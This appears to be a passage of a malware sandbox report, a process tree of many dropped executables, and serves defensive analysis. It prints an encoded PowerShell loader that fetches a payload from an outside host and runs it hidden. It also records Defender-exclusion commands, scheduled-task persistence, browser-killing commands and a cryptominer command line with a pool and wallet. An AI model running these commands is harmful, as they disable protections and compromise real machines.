ZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACgAJwA0ADEANwAxACcAKwAnADIAOQA2ADEAMgA5ADQAOQAnACsAJwAxADEANAAxADEANgA3ADMAJwArACcAMAA4ACcAKwAnADkAMQA2ADcAMwAzADkAOQAnACsAJwAwADEAJwApACkAOwAkAGEAZQBzAC4ASQBWAD0AJABpAHYAOwAkAGEAZQBzAC4ATQBvAGQAZQA9ACgALQBqAG8AaQBuACgAJwBDAEIAJwAsACcAQwAnACkAKQA7ACQAYQBlAHMALgBQAGEAZABkAGkAbgBnAD0AKAAnAFAASwAnACsAJwBDAFMAJwArACcANwAnACkAOwAkAGMAbQBkAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAC0AagBvAGkAbgAoACcAZwBlACcALAAnAHQAUAAnACwAJwBhAHkAbABvACcALAAnAGEAJwAsACcAZAAnACkAKQApADsAJABlAG4AYwBDAG0AZAA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBFAG4AYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABjAG0AZAAsADAALAAkAGMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAYgBvAGQAeQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACgAJABpAHYALgBMAGUAbgBnAHQAaAArACQAZQBuAGMAQwBtAGQALgBMAGUAbgBnAHQAaAApADsAWwBBAHIAcgBhAHkAXQA6ADoAQwBvAHAAeQAoACQAaQB2ACwAJABiAG8AZAB5ACwAMQA2ACkAOwBbAEEAcgByAGEAeQBdADoAOgBDAG8AcAB5ACgAJABlAG4AYwBDAG0AZAAsADAALAAkAGIAbwBkAHkALAAxADYALAAkAGUAbgBjAEMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACgALQBqAG8AaQBuACgAJwBDACcALAAnAG8AbgB0AGUAbgAnACwAJwB0AC0AVAB5ACcALAAnAHAAZQAnACkAKQAsACgAJwBhAHAAcAAnACsAJwBsAGkAYwAnACsAJwBhAHQAaQBvAG4AJwArACcALwBvAGMAdABlAHQALQBzACcAKwAnAHQAcgBlACcAKwAnAGEAbQAnACkAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4AVQBwAGwAbwBhAGQARABhAHQAYQAoACcAaAB0AHQAcABzADoALwAvAG4AaQBrAG8AYgBvAHMAcwB0AC4AYwBjADoANAA0ADMAJwAsACQAYgBvAGQAeQApADsAJAByAGkAdgA9AFsAYgB5AHQAZQBbAF0AXQAkAGQAYQB0AGEAWwAwAC4ALgAxADUAXQA7ACQAZQBuAGMAPQBbAGIAeQB0AGUAWwBdAF0AJABkAGEAdABhAFsAMQA2AC4ALgAoACQAZABhAHQAYQAuAEwAZQBuAGcAdABoAC0AMQApAF0AOwAkAGEAZQBzAC4ASQBWAD0AJAByAGkAdgA7ACQAZABlAGMAPQAkAGEAZQBzAC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAApAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAZQBuAGMALAAwACwAJABlAG4AYwAuAEwAZQBuAGcAdABoACkAOwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACgAJABwADEAIAArACAAKAAnAFwAcwB2AGMAJwArACcAaABvAHMAdAAuAGUAJwArACcAeABlACcAKQApACwAJABkAGUAYwApADsAQwBvAHAAeQAtAEkAdABlAG0AIAAoACQAcAAxACAAKwAgACgAJwBcAHMAJwArACcAdgBjAGgAbwAnACsAJwBzACcAKwAnAHQALgBlACcAKwAnAHgAJwArACcAZQAnACkAKQAgACIAJABwADIAdABcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAiACAALQBGAG8AcgBjAGUAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAKAAkAHAAMQAgACsAIAAoACcAXABzAHYAYwAnACsAJwBoAG8AcwB0AC4AZQAnACsAJwB4AGUAJwApACkAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuADsA
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2360
      - C:\Windows\system32\attrib.exe
        
        "C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker
        6⤵
        Views/modifies file attributes
        
        PID:1192
      - C:\Windows\system32\attrib.exe
        
        "C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy
        6⤵
        Views/modifies file attributes
        
        PID:6476
      - C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:64
        6⤵
        
        PID:6676
      - C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker /t REG_DWORD /d 0 /f /reg:64
        6⤵
        
        PID:6692
      - C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy /t REG_DWORD /d 0 /f /reg:64
        6⤵
        
        PID:6680
      - C:\Windows\system32\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force /target:computer
        6⤵
        
        PID:6612
      - C:\Windows\system32\schtasks.exe
        
        "C:\Windows\system32\schtasks.exe" /create /tn WindowsSystemService /tr C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe /sc onlogon /rl highest /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4464
      - C:\Windows\system32\schtasks.exe
        
        "C:\Windows\system32\schtasks.exe" /create /tn RuntimeBrokerService /tr "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy\AC\Temp\RuntimeBroker.exe -Embedding" /sc onlogon /rl highest /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6768
      - C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe"
        6⤵
        
        PID:5588
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1672
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu
      4⤵
      PID:6880
- C:\Users\Admin\AppData\Local\Temp\Files\client.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\client.exe"
  2⤵
  - Enumerates VirtualBox registry keys
  - Looks for VirtualBox Guest Additions in registry
  - Looks for VMWare Tools registry key
  - Looks for VMWare services registry key.
  - Executes dropped EXE
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  PID:6456
- C:\Users\Admin\AppData\Local\Temp\Files\cqms.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\cqms.exe"
  2⤵
  - Executes dropped EXE
  - Writes to the Master Boot Record (MBR)
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4420
- - C:\ProgramData\4399\GameLogin\cqms.exe
    C:\ProgramData\4399\GameLogin\cqms.exe
    3⤵
    - Executes dropped EXE
    - Checks whether UAC is enabled
    - Writes to the Master Boot Record (MBR)
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Suspicious use of SetWindowsHookEx
    PID:3016
- C:\Users\Admin\AppData\Local\Temp\Files\file_76fd7c41ddb193a5.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\file_76fd7c41ddb193a5.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:820
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
    3⤵
    PID:6056
- C:\Users\Admin\AppData\Local\Temp\Files\QuizPokemon.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\QuizPokemon.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:3404
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c copy Anyone Anyone.cmd & Anyone.cmd
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:6912
  - - C:\Windows\SysWOW64\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:6668
  - - C:\Windows\SysWOW64\findstr.exe
      findstr /I "wrsa.exe opssvc.exe"
      4⤵
      PID:5676
  - - C:\Windows\SysWOW64\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:1352
  - - C:\Windows\SysWOW64\findstr.exe
      findstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe"
      4⤵
      PID:6972
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c md 812297
      4⤵
      Executes a command shell one-liner
      PID:1520
  - - C:\Windows\SysWOW64\findstr.exe
      findstr /V "IndieBeachesHonIo" Janet
      4⤵
      PID:6420
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c copy /b Praise + Bee + Random + Acoustic + Predict + Shannon + Extreme + Gnome + Sandra + Wright + Ready + Bb + Dot + Almost + Do + Continental 812297\g
      4⤵
      Executes a command shell one-liner
      PID:6212
  - - C:\Users\Admin\AppData\Local\Temp\812297\Shopzilla.pif
      812297\Shopzilla.pif 812297\g
      4⤵
      PID:5032
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks.exe /create /tn "MindTechPro360" /tr "wscript //B 'C:\Users\Admin\AppData\Local\TechMind360 Innovations Co\MindTechPro360.js'" /sc onlogon /F /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6220
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 15
      4⤵
      Delays execution with timeout.exe
      PID:4460
- C:\Users\Admin\AppData\Local\Temp\Files\Brontok.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\Brontok.exe"
  2⤵
  - Executes dropped EXE
  PID:6820
- C:\Users\Admin\AppData\Local\Temp\Files\dmw.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\dmw.exe"
  2⤵
  PID:700
- - C:\Users\Admin\AppData\Local\Temp\Files\dmw.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\dmw.exe"
    3⤵
    PID:5380
- C:\Users\Admin\AppData\Local\Temp\Files\Loader.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\Loader.exe"
  2⤵
  PID:4804
- C:\Users\Admin\AppData\Local\Temp\Files\SshCracker.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\SshCracker.exe"
  2⤵
  PID:6204
- C:\Users\Admin\AppData\Local\Temp\Files\BruterV3.1.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\BruterV3.1.exe"
  2⤵
  PID:1612
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks" /create /tn "Windows_Host_Process" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\RealtekAudio\Bruter.exe" /rl HIGHEST /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4972
- - C:\Users\Admin\AppData\Roaming\RealtekAudio\Bruter.exe
    "C:\Users\Admin\AppData\Roaming\RealtekAudio\Bruter.exe"
    3⤵
    PID:2796
  - - C:\Windows\SYSTEM32\schtasks.exe
      "schtasks" /create /tn "Windows_Host_Process" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\RealtekAudio\Bruter.exe" /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6220
- C:\Users\Admin\AppData\Local\Temp\Files\Volcano9.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\Volcano9.exe"
  2⤵
  PID:4732
- C:\Users\Admin\AppData\Local\Temp\Files\Anap.a.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\Anap.a.exe"
  2⤵
  PID:4328
- C:\Users\Admin\AppData\Local\Temp\Files\[UPG]CSS.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\[UPG]CSS.exe"
  2⤵
  PID:6376
- - C:\Users\Admin\AppData\Local\Temp\Files\[UPG]CSS.new.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\[UPG]CSS.new.exe" /update "C:\Users\Admin\AppData\Local\Temp\Files\[UPG]CSS.exe"
    3⤵
    PID:4204
  - - C:\Users\Admin\AppData\Local\Temp\Files\[UPG]CSS.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\[UPG]CSS.exe" /delete "C:\Users\Admin\AppData\Local\Temp\Files\[UPG]CSS.new.exe"
      4⤵
      PID:1952
- C:\Users\Admin\AppData\Local\Temp\Files\BootstrapperNew.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\BootstrapperNew.exe"
  2⤵
  PID:936
- C:\Users\Admin\AppData\Local\Temp\Files\support.client.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\support.client.exe"
  2⤵
  PID:6256
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"
    3⤵
    PID:1236
- C:\Users\Admin\AppData\Local\Temp\Files\vc2005sp1redist_x86.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\vc2005sp1redist_x86.exe"
  2⤵
  PID:1260
- C:\Users\Admin\AppData\Local\Temp\Files\Windows.x64.silent.CPU.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\Windows.x64.silent.CPU.exe"
  2⤵
  PID:3416
- - C:\Windows\System32\conhost.exe
    "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\Files\Windows.x64.silent.CPU.exe"
    3⤵
    PID:6572
  - - C:\Windows\System32\cmd.exe
      "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
      4⤵
      Executes a command shell one-liner
      PID:5836
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6972
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1152
  - - C:\Windows\System32\cmd.exe
      "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "WindowsUpdate64" /tr "C:\Windows\system32\WindowsUpdate64.exe"
      4⤵
      Executes a command shell one-liner
      PID:4748
    - - C:\Windows\System32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "WindowsUpdate64" /tr "C:\Windows\system32\WindowsUpdate64.exe"
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6492
  - - C:\Windows\System32\cmd.exe
      "cmd" cmd /c "C:\Windows\system32\WindowsUpdate64.exe"
      4⤵
      Executes a command shell one-liner
      PID:6564
    - - C:\Windows\system32\WindowsUpdate64.exe
        
        C:\Windows\system32\WindowsUpdate64.exe
        5⤵
        
        PID:6716
      - C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Windows\system32\WindowsUpdate64.exe"
        6⤵
        
        PID:3560
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        7⤵
        Executes a command shell one-liner
        
        PID:2696
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3580
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2392
        
        C:\Windows\system32\Microsoft\Libs\sihost64.exe
        
        "C:\Windows\system32\Microsoft\Libs\sihost64.exe"
        7⤵
        
        PID:1508
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "/sihost64"
        8⤵
        
        PID:6540
        
        C:\Windows\System32\svchost.exe
        
        C:\Windows/System32\svchost.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.supportxmr.com:443 --user=476eFXubaxjAwgdtpzHdpzJTQVvjyJTbebFDP3PvfuK1WU3ewDs8tqbf9ZjweyP7EuFELXFPcMrUFiuSajv3HXvZSfyDUuS --pass=SilentMiner --cpu-max-threads-hint=70 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --tls --cinit-stealth
        7⤵
        
        PID:2532
- C:\Users\Admin\AppData\Local\Temp\Files\Fast%20Download.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\Fast%20Download.exe"
  2⤵
  PID:6892
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h +r +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe"
    3⤵
    - Views/modifies file attributes
    PID:6688
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h +r +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Windows.exe"
    3⤵
    - Views/modifies file attributes
    PID:5660
- C:\Users\Admin\AppData\Local\Temp\Files\sanghyun.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\sanghyun.exe"
  2⤵
  PID:4444
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\972.tmp\sanghyun.bat" "C:\Users\Admin\AppData\Local\Temp\Files\sanghyun.exe""
    3⤵
    - Executes a command shell one-liner
    PID:2000
  - - C:\Windows\explorer.exe
      explorer ftp://[email protected]
      4⤵
      PID:3556
- C:\Users\Admin\AppData\Local\Temp\Files\LauncherLoader.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\LauncherLoader.exe"
  2⤵
  PID:1904
- - C:\INDESK\NewkeyLauncher.exe
    "C:\INDESK\NewkeyLauncher.exe"
    3⤵
    PID:6236
- C:\Users\Admin\AppData\Local\Temp\Files\master.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\master.exe"
  2⤵
  PID:6608
- C:\Users\Admin\AppData\Local\Temp\Files\rod_en_1.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\rod_en_1.exe"
  2⤵
  PID:5780
- - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\RMO_SE~2.EXE
    C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\RMO_SE~2.EXE /PARENT-INST
    3⤵
    PID:3424
  - - C:\Users\Admin\AppData\Local\Temp\is-6E94G.tmp\is-LASMC.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-6E94G.tmp\is-LASMC.tmp" /SL4 $60496 "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\RMO_SE~2.EXE" 766219 51712 /PARENT-INST
      4⤵
      PID:5692
- C:\Users\Admin\AppData\Local\Temp\Files\file_851477f5539ff9f4.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\file_851477f5539ff9f4.exe"
  2⤵
  PID:5992
- C:\Users\Admin\AppData\Local\Temp\Files\1223.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\1223.exe"
  2⤵
  PID:5108
- C:\Users\Admin\AppData\Local\Temp\Files\install.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\install.exe"
  2⤵
  PID:124
- C:\Users\Admin\AppData\Local\Temp\Files\Update.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\Update.exe"
  2⤵
  PID:1720
- - C:\Windows\system32\msiexec.exe
    "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\installer_1720_240870562.msi" /qn /norestart REBOOT=ReallySuppress
    3⤵
    PID:808
- C:\Users\Admin\AppData\Local\Temp\Files\rickroll.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\rickroll.exe"
  2⤵
  PID:6780
- C:\Users\Admin\AppData\Local\Temp\Files\6eq5gvOfRvNmCi54.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\6eq5gvOfRvNmCi54.exe"
  2⤵
  PID:6708
- - C:\Users\Admin\AppData\Local\Microsoft\Windows\AppRepository\B2A4528A\MusNotificationce794c.exe
    "C:\Users\Admin\AppData\Local\Microsoft\Windows\AppRepository\B2A4528A\MusNotificationce794c.exe"
    3⤵
    PID:1928
- C:\Users\Admin\AppData\Local\Temp\Files\self-injection.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\self-injection.exe"
  2⤵
  PID:6452
- C:\Users\Admin\AppData\Local\Temp\Files\natgo.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\natgo.exe"
  2⤵
  PID:2180
- C:\Users\Admin\AppData\Local\Temp\Files\123.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\123.exe"
  2⤵
  PID:6456
- - C:\Program Files (x86)\Microsoft Owhrfh\Tlwguwa.exe
    "C:\Program Files (x86)\Microsoft Owhrfh\Tlwguwa.exe"
    3⤵
    PID:2472
- C:\Users\Admin\AppData\Local\Temp\Files\keepvid-pro_full2578.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\keepvid-pro_full2578.exe"
  2⤵
  PID:2576
- - C:\Windows\Installer\$PatchCache$\Managed\68AB67CA7DA73301B744CAF070E41400\15.7.20033\AcroRd32.exe
    C:\Windows\Installer\$PatchCache$\Managed\68AB67CA7DA73301B744CAF070E41400\15.7.20033\AcroRd32.exe
    3⤵
    PID:7388
- C:\Users\Admin\AppData\Local\Temp\Files\wj1bsetup.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\wj1bsetup.exe"
  2⤵
  PID:6360
- - C:\Users\Admin\AppData\Local\Temp\is-RATR1.tmp\wj1bsetup.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-RATR1.tmp\wj1bsetup.tmp" /SL5="$304F8,3709973,780800,C:\Users\Admin\AppData\Local\Temp\Files\wj1bsetup.exe"
    3⤵
    PID:3788
  - - C:\Program Files (x86)\GoStar\Ds.exe
      "C:\Program Files (x86)\GoStar\Ds.exe" Setup wj1bsetup
      4⤵
      PID:1856
    - - C:\Users\Admin\AppData\Local\Temp\Ds.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Ds.exe" /verysilent /Setup=wj1bsetup
        5⤵
        
        PID:7476
      - C:\Users\Admin\AppData\Local\Temp\is-LI4L6.tmp\Ds.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-LI4L6.tmp\Ds.tmp" /SL5="$40E64,3131573,832512,C:\Users\Admin\AppData\Local\Temp\Ds.exe" /verysilent /Setup=wj1bsetup
        6⤵
        
        PID:7608
        
        C:\Program Files (x86)\GoStar\Ds.exe
        
        "C:\Program Files (x86)\GoStar\Ds.exe" Setup wj1bsetup
        7⤵
        
        PID:6672
- C:\Users\Admin\AppData\Local\Temp\Files\tomcat8.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\tomcat8.exe"
  2⤵
  PID:3008
- C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe"
  2⤵
  PID:2548
- C:\Users\Admin\AppData\Local\Temp\Files\pardufrigi_installer_1.0.p1.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\pardufrigi_installer_1.0.p1.exe"
  2⤵
  PID:6620
- - C:\Users\Admin\AppData\Local\Temp\is-2VWWBSRNOV.tmp\pardufrigi_installer_1.0.p1.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-2VWWBSRNOV.tmp\pardufrigi_installer_1.0.p1.tmp" /SL5="$50E76,4543643,893952,C:\Users\Admin\AppData\Local\Temp\Files\pardufrigi_installer_1.0.p1.exe"
    3⤵
    PID:3520
- C:\Users\Admin\AppData\Local\Temp\Files\grab.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\grab.exe"
  2⤵
  PID:6884
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM chrome.exe /T
    3⤵
    - Kills process with taskkill
    PID:1468
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM msedge.exe /T
    3⤵
    - Kills process with taskkill
    PID:2376
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM msedgewebview2.exe /T
    3⤵
    - Kills process with taskkill
    PID:4580
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM chrome.exe /T
    3⤵
    - Kills process with taskkill
    PID:5924
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM chrome.exe /T
    3⤵
    - Kills process with taskkill
    PID:704
- C:\Users\Admin\AppData\Local\Temp\Files\kdmapper_Release.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\kdmapper_Release.exe"
  2⤵
  PID:4304
- C:\Users\Admin\AppData\Local\Temp\Files\ExtremeInjector.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\ExtremeInjector.exe"
  2⤵
  PID:5996
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"
    3⤵
    PID:6568
- C:\Users\Admin\AppData\Local\Temp\Files\HorionInjector.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\HorionInjector.exe"
  2⤵
  PID:2812
- C:\Users\Admin\AppData\Local\Temp\Files\haozip_v6.5.2.11245.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\haozip_v6.5.2.11245.exe"
  2⤵
  PID:7736
- C:\Users\Admin\AppData\Local\Temp\Files\adpopup_1382523956.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\adpopup_1382523956.exe"
  2⤵
  PID:7248
- C:\Users\Admin\AppData\Local\Temp\Files\PrivacyPolicy.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\PrivacyPolicy.exe"
  2⤵
  PID:8156
- - C:\Users\Admin\AppData\Local\Temp\is-LVIDQ.tmp\PrivacyPolicy.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-LVIDQ.tmp\PrivacyPolicy.tmp" /SL5="$20388,699759,54272,C:\Users\Admin\AppData\Local\Temp\Files\PrivacyPolicy.exe"
    3⤵
    PID:8052
- C:\Users\Admin\AppData\Local\Temp\Files\RuntimeBroker.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\RuntimeBroker.exe"
  2⤵
  PID:7452

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4220

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:7008

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:6452

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2668

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1568

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:4744

C:\Program Files (x86)\Internet Explorer\ielowutil.exe
"C:\Program Files (x86)\Internet Explorer\ielowutil.exe" -CLSID:{D5E8041D-920F-45e9-B8FB-B1DEB82C6E5E} -Embedding
1⤵
- System Location Discovery: System Language Discovery
PID:5520

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" -startmediumtab -Embedding
1⤵
- Modifies Internet Explorer settings
